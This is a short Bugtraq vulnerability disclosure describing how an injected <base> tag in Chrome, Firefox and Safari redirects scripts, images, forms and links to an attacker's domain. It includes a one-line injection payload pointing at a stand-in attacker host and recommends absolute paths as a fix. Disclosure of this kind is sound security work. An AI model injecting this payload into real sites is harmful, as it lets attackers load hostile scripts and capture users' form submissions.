<BASE> tag used for hijacking external resources (XSS)

From: Bouke van Laethem <vanlaethem@gmail.com>
To: bugtraq@securityfocus.com
Cc:
Subject: <BASE> tag used for hijacking external resources (XSS)
Date:


I report this here because I could not find any other reference to this issue.

VULNERABLE: Chrome, firefox and safari.
NOT VULNERABLE: IE8 or IE9.
(Above is as far as I could tell: things are moving fast nowadays in
browser land)

ISSUE:
The <base> tag is parsed outside of <head></head>. This can lead to
the base being reset, both before and after the <base> tag being
injected, depending on browser types and versions. As a result, images
and javascript can be loaded from an attackers domain, and forms and
hyperlinks point to the attackers domain.

An example can be found on http://avuko.net, but it is simple enough
to reproduce: just put a <base href="http://attackerdomain"> somewhere
in your HTML (the closer to <head> the better).
Tested with overriding <img>, <a>, <script> & <form>, would probably
work on other external references too.

FIX/WORK-AROUND:
make sure all paths are absolute.

REFERENCES:
http://www.w3.org/TR/html4/struct/links.html#h-12.4
http://avuko.net

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